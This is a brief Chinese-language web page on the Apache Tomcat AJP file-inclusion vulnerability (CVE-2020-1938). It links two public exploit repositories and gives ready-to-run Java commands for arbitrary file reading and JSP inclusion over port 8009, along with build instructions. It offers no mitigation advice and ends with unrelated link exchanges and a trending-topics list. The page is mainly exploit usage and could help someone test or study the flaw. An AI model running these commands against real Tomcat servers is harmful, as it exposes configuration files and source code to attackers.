
新闻分类
ApacheTomcat Ajp漏洞
Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。
此漏洞为文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。
本次设计到的CVE:CNVD-2020-10487、CVE-2020-1938
EXP-1
https://github.com/0nise/CVE-2020-1938
apache-tomcat-8.5.32.zip 测试tomcat
任意文件读取
java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 file /index.jsp
文件包含
java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 jsp /index.jsp
打包方式:在目录tomcat/ajp-bug 执行 mvn clean compile assembly:assembly
EXP-2
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
[超站]友情链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/

随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 思想之光照亮奋进之路 7904617
- 2 “千年一遇”的彗星来了 7809027
- 3 冰岛首次发现蚊子 7714354
- 4 身边故事里的“十四五”民生答卷 7616852
- 5 大学生成为临时父母 3小时收入300元 7523228
- 6 武汉一网吧提供海鲜自助走红 7428387
- 7 烤肉店用玉米粒当燃料 玉米专家发声 7332216
- 8 微信三大更新放出 7237599
- 9 红霉素软膏千万不能随便用 7137173
- 10 这五年“万物到家”成为日常 7040487